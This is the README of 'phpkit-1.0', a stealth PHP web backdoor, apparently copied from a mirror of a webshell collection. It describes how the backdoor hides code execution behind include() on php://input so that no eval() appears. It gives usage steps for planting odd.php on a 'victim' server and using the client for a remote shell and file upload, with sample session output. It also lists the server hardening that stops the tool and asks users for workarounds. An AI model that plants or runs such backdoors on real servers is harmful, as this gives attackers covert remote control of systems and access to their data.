mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
df6d55ad4f
php shell and jsp shell
97 lines
3.8 KiB
Text
97 lines
3.8 KiB
Text
/$$$$$$$ /$$ /$$ /$$$$$$$ /$$ /$$ /$$
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| $$__ $$| $$ | $$| $$__ $$| $$ |__/ | $$
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| $$ \ $$| $$ | $$| $$ \ $$| $$ /$$ /$$ /$$$$$$
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| $$$$$$$/| $$$$$$$$| $$$$$$$/| $$ /$$/| $$|_ $$_/
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| $$____/ | $$__ $$| $$____/ | $$$$$$/ | $$ | $$
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| $$ | $$ | $$| $$ | $$_ $$ | $$ | $$ /$$
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| $$ | $$ | $$| $$ | $$ \ $$| $$ | $$$$/
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|__/ |__/ |__/|__/ |__/ \__/|__/ \____/
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phpkit-1.0
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Stealth PHP Backdooring Utility - Insecurety Research 2013
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This is a simple kit to demonstrate a very effective way of
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backdooring a webserver running PHP.
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Essentially, it functions by parsing out any valid PHP code
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from raw HTTP POST data sent to it, and executing said PHP.
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No eval() or other suspect calls are in the serverside script,
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the code is executed by the include() function. The php://input
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data stream (which is basically "anything sent via raw POST) is
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used to "capture" the raw POST data, and when parsed by include()
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the code sent is executed.
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This allows for many things to be done, i.e. executing any PHP
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code you happen to write. The example client, phpkitcli.py, offers
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file upload and a remote shell.
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This release includes a massively overhauled backdoor client, it
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tests various execution functions against the victim host before
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using whatever one works first. It is massively ugly code, but
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I intend to clean it up soonish.
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USAGE (backdoor part):
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You upload "odd.php" to the target webserver by any means necessary.
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You then run ./phpkitcli.py --url <url to php file on server> and enjoy!
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Example Use:
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[infodox@sahara:~/phpkit]$ ./phpkitcli.py --url http://localhost/odd.php
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[+] URL in use: http://localhost/odd.php
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[+] Testing system function
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[+] system() function works
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shell:~$ id
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uid=33(www-data) gid=33(www-data) groups=33(www-data)
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shell:~$ uname -a
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Linux sahara 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux
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USAGE (file uploader part):
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This assumes "odd.php" is loaded onto the victim webserver, obviously.
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You run:
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./phpkitcli.py --url <url to odd.php> --lfile <file to upload> --rfile <remote path> --mode UPLOAD
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Only works if remote path is writeable. /tmp/ is always good :)
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Example Use:
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[infodox@sahara:~/phpkit]$ ./phpkitcli.py --url http://localhost/odd.php --mode UPLOAD --lfile /etc/passwd --rfile /tmp/pass
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[+] Uploading File
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[+] Upload should be complete
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So the file uploaded, now I compare MD5sums to check did it bloody well work!
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[infodox@sahara:~/phpkit]$ md5sum /etc/passwd
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2568416e280af88f82e982efd46525a8 /etc/passwd
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[infodox@sahara:~/phpkit]$ md5sum /tmp/pass
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2568416e280af88f82e982efd46525a8 /tmp/pass
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Seems legit bro ;)
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TODO:
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MySQL client.
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Notes:
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In two use-cases this was shown to not function.
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Use Case A: Servers with the Suhosin PHP Hardening Patches.
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In this case, php://input and other URL inclusion vectors are rendered
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unuseable due to the protections the Suhosin patches offer. i.e. this
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tool don't work against Suhosin patched boxes.
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Use Case B: Servers where php.ini is dictated by httpd.conf
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In several cases where the php.ini is specific to the HTTP daemon,
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runtime ini directive modification is not permissable. I have
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personally observed this behaviour on Apache thus far, however
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further testing/research is needed to find a workaround of some kind.
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Please report if you have any issues getting this to work. Please
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test it on a server with allow_url_include = On , then if it works,
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set allow_url_include = Off , restart httpd, and check does it work.
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If it does not work, please report using the issue tracker at
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http://code.google.com/p/insecurety-research providing details of HTTPD
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configuration so I can attempt to figure out new things :)
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Questions, comments, bug reports and abuse? infodox () insecurety.net
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Licence: The do whatever you want with it, just don't rip code without
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giving credit licence.
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